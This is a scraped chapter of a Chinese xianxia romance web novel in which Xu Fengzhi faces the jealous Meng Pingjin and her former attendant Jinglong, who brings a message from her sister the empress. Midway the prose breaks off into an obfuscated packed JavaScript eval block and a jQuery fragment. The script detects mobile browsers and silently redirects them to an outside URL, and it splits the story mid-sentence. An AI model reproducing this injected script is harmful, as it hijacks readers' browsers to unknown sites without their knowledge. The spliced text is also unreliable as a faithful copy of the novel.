豆泛 作品
19. 玉眉峰.19
但宗门人人望向他俩的眼神里明显是看出了什么。
于是她们探听般地问师妹可有心仪之人。
徐风知说没有。
她们不依不饶地点破,“凭瑾师弟呢?”
摇摇头,她答:“他不喜欢我我不喜欢他。”
这话不知怎么传进了孟凭瑾的耳朵里,他那时正忍受不了这样的刻意远离,打算捧着真心直接去找她摊牌说自己根本不是这书里的反派,不会按照书里的设定喜欢谁恨谁,只会从心喜欢她一人而已。
可他听说这话后委屈到不想去了,咬牙忍下千般气恼,将那盒小心收起来的珍宝能佩戴的都一一戴上。
金丝琉璃球、墨翠耳坠、玄鸟令羽、红髓玉、万年灵符……一边往自己身上堆一边委屈掉眼泪,喜欢她徐风知真是受尽苦楚,不信心意、到头来连句喜欢也得不到了。
只是他那一身价值连城的珍宝实在惹眼,同门见了都奇怪,试探他是否知道了这是何人所送?和那人互通心意否?
孟凭瑾愿意透漏的只有——
“那是位很好的姑娘,待我真心实意、处处关切、我喜欢得很。”
这话就是说给坐在斜对面一言不发的某人听的,孟凭瑾观察过了,她连眨眼的频率都没变,而一直沉默的心声也没有任何他期待的回响音。
真冷漠。
孟凭瑾垂眸,任凭如何疏解心也是堵的。
“长纷师兄!”
众人等的人终于到了。孟凭瑾随之抬头,山路上远见一袭白衣,背负三剑,眉目俊朗,而徐风知笑眼似月快步迎上去,朗声喊他:“师兄!你可回来了!”
她还从未对他露出过这般神色…总是在什么师姐师兄面前笑意明媚。孟凭瑾不想看,索性又垂眸。
许久不见,长纷本也随着她高兴地笑起来,可一错身,他忽然想起什么,又神色复杂地露出背后另一人来,徐风知脚步一顿,疑惑眯眼仔细去看。
那人身形纤瘦方才跟在长纷后头他们竟都没看见,此刻他温柔带笑同各位行礼众人才发现还有此人。
观他衣着素净,眼角见痣,低垂眼尾总叫人隐隐生怜,徐风知还未开口,他见她便懵懂掉泪,慌张扑进她怀里,将眼泪倾倒进她怀里,“妻主……”
这般称呼一出,众人顿时了然发笑,觉得这郎君定是徐风知在赤真做皇女时的哪位侍君追来此处,起哄声接连不断,都对他分外好奇。
他带泪还要说些什么,却忽然被谁连拉带扯强硬拽出徐风知身旁三寸之地,近乎算是被执拗推甩出去,他站定后冰冷转瞳,看到的却是同样冰冷危险的漂亮眉眼。
净泷怔然敛眸。
……天下美人很多,赤真的美人也不少,可眼前这位眉眼惊艳,真算得上出尘绝世。
那人紧拽着徐风知,好像因为愠意而克制缓着气,墨发微微散乱深浅搭落在单薄肩膀,随呼吸起伏格外易碎,水蓝色眼眸死死盯着他,仿佛只要他再敢靠近那位一步便会被那双眼的主人不由分说上手凌迟一千刀。
净泷觉得,漂亮到让旁人觉得易碎是很难得的天赋,至少他为此苦苦练习控制神态眼神多年,才拥有了那么一两分而已。
而这人的漂亮里不仅天生就拥有他做梦都想得到的东西,他那双眼眸更是过分,纯澈的水蓝色若是再添几分媚意只怕全世间都要向着他了。
这样的人若是陷在何处,恐怕表面会说做妖邪背地里却被锁进谁家金笼里。
让人嫉妒。
杀意居高临下地困住净泷。他站直身体,不露声色察觉到那人满目冰冷可紧紧攥着的,只是徐风知的一角衣袖。
……也不过如此。
净泷转而小声抽泣,鼻尖微红,“我自您走后连行数月寻至此处,可行至附近迷了路,幸好遇到您师兄愿意带我上山。”
长纷点了头,徐风知神色平淡,这些话听进去七七八八,心里唯一在意的却是自己那被紧紧抓着的衣袖。
要不要甩开他的手。
她瞥了眼孟凭瑾,孟凭瑾倒并未在看她只是恨意翻涌咬牙压火死盯着净泷。
净泷还在哭,“您、您舍下所有,别舍下我啊。”
她沉默望进净泷的眼睛,明明什么也没说但净泷知道那是种无声警告,他渐渐收了哭声,耷拉着脑袋不说话。
“师姐不是说并未娶亲。”
一句质问怨怼。徐风知眉心微蹙。
净泷没有要解释的意思,徐风知扯了扯袖子,扯不动。
“说谎。”孟凭瑾步步紧逼。
她索性直面他,凝望这几日避而不见的水色眼眸,心底幽幽摇晃痛感,她自己都知晓,可她说:
“松手。”
剑就这么出了鞘,没人知道为何孟凭瑾忽然就对自己的师姐拔剑,那剑刃寒光熠熠,侧向徐风知的颈线,长纷吓了一跳,可他同时也看到,孟凭瑾死也不松开的另一只手正微弱颤抖着。
孟凭瑾几乎是咬牙切齿,“我真想、”
[生性冷漠、甚少言语、不问世事、天赋极高。]
他一滞,这心声由小渐大密密麻麻地重复着,像一场自我警告。
[我生性冷漠,我甚少言语。]
孟凭瑾听着这无感情的重复语句,他之前就从徐风知那里听说过这句话,是她的人设,她应该做到的样子。
如今她一遍遍地麻痹是对她自己的提醒。孟凭瑾光是听就快要疯掉了。
可他观她平静非常,将决绝冷漠演的那般好,仿佛当真心如止水。
压抑感将心吞吃的时候根本不讲道理,孟凭瑾觉得自己窥见这一丝裂痕应该欣喜才对的,但没有,他只觉得自己的欣喜是不应当的,因为它让她那么痛苦。
心上沉重逼得孟凭瑾松开手垂下剑,漠然侧身借过,“我领罚去了。”
袖上的力量松掉,徐风知这才迟钝地从重复心声中拔出神思。低头一看,袖上褶皱几道,她想抚平,接着发现无论怎么做都是被紧拽过的痕迹,心也被揪去一块。
“师妹,我这次回来又给你带了好些梅子干,等过几日去送子庄我听说路上有家酸甜口做的特别好,到时我给你寄。”
她抬起头,半天才应声:“好。”
-
徐风知现在住的小院因为前院很小所以没人愿意要,但徐风知觉得很好,因为有个小后院,藏起来睡觉很合适。
她的屋子里也没什么好看的摆件,和从前做皇女那完全是天差地别。
净泷为她煮了茶但自己却一口也没喝,徐风知明白是他嫌弃这茶叶太次觉得难以入口,她懒得问,但净泷先提这茶叶很好,是他自己不渴不想喝。
徐风知不想应声,茶盏空了要添茶,她伸手去够,净泷倾身为她添茶,她又坐回去,向一旁侧身。
净泷一怔,苦笑道:“殿下这么厌恶我。”
“谈不上。但你让旁人误会是我侍君这事我确实挺烦。”手抖茶水不稳,她示意够了。
净泷开始煮第二壶茶水,挽起衣袖,露出些许白皙手腕,莹白如玉。
徐风知实在不想理会他这种把戏,“够了。”
净泷不敢抬眸,“没煮好。”
“不想喝了。”她冷淡叩下茶盏,“不要再煮。”
他笑起来,总有些伤感,“殿下你以前喜欢看我煮茶。”
徐风知目光幽远,她忽而想起摇晃烛影。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14413018|153549||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
同样是添茶,晦暗间倾身墨发垂于他二人之间,半遮半掩,抬眸引诱她心。如今想想这引诱不算高明,但太漂亮导致很有用。
至少她那一刻若是真从心,那人就走不了了。
徐风知长睫掩住眼底杂乱念头。想喝茶。
想喝、那谁的茶。
见她仿佛陷入落寞,净泷以为她忆起了往事,心中有些蔑然窃喜:皇女又如何,也逃不了旧时心动,手段这种东西他会的很多。
徐风知不懂为何净泷忽然朝她走近,她打起精神直截了当地问,“我妹她让你带什么话。”
净泷拧眉,他不明白自己的招数为什么没起作用。徐风知同样拧眉催促他快点说,“你不是我妹派来的?”
净泷当然是那位派来的。
他垂下头,如实答道:“陛下说,这皇位太小了她不想困住姐姐,她坐上去,姐姐就自由了。”
徐风知心上轻松不少,眉眼沾染笑意,轻声道:“她惯会得了便宜还卖乖。”
“陛下猜到了您会这么说她。”
徐风知回望过去。
“所以她说,只卖乖给你看。”
一眼好似又看见了那龙椅上的笑面狐狸,瞬间收起那狠戾模样,仰头等着她摸一摸,不在乎朝堂上群臣如何言语,只笑眯眯喊她:“阿姐,我想你。”
「我想你永远也别回来,你回来我们就只能一死一活。」
眼睫颤了颤,徐风知有些困倦,随口扯了个话题,“你知道她这么多而且没被杀掉,看来你得偿所愿了。”
徐风知一直都知道净泷的目的。从最最开始、她还在做皇女的时候。因为明晃晃的野心、冰冷的东西就暗藏在他眼底,无聊驱使着徐风知时常审视观察他。
净泷装出温柔用上手段想让她在某刻动心,从而一步登天。
可接近二皇女徐风知就是接近赤真里最难以接近的人。
净泷也想过自己最坏的结果就是像之前接近她的所有人一样被杀掉,可他运气很好,预设了各种情况,却遇到了刚刚穿书还在适应的好脾气的徐风知。
纵然一眼就看穿了眼前人的目的,但徐风知觉得无所谓,不上钩也不回应,平淡待他平淡应付。
就这样净泷成了第一个能留在二皇女身边的人,赤真上下第一回漂浮着他的名字。说不得意是假的,他真的开心。
但徐风知观察够了,于是在有天挑明,“我不会坐上那里。”她望着宫城的中心,指的自然是王位。
而他点点头,眼尾温柔,“殿下想做什么我都陪着你。”
徐风知以为她想错了,然后第二天清晨,净泷果然投奔了她妹妹徐厌泪。
净泷并不避讳此事,他认为人往高处走没什么不对,他就是要成为赤真权势最盛的男子。
所以他听闻此言只是笑,“她派我来您就该知道我没能得偿所愿。”
徐风知不置一词。净泷说的是实话。徐厌泪让他来传话恰恰证实是不喜欢他的。给她传话这种苦差事,从来没什么好处。
“不过我求了件事。”净泷眼前迷蒙一片。
“我想回囚雪陵。听说各残部归一,新族长说是个可以依附的人物,我想跟随部族。”
净泷此刻全部说完才发觉自己也变了。他以前不明白,明明宫城里什么都有,不见得不自由,况且自由有什么好。当初徐风知舍下那金玉之位去练什么剑道,净泷漠然觉得她愚蠢非常。怎么如今,他也求自由。
他瞄了一眼又一眼,他在期待徐风知会怎么想他呢。
徐风知忽然想到什么抬头问他,“囚雪陵冷吗?”
净泷歪头,“不冷。”
她想也是,有些人稍微见了点寒气就发高烧,要是真在冰天雪地里长大,岂不是太娇气了。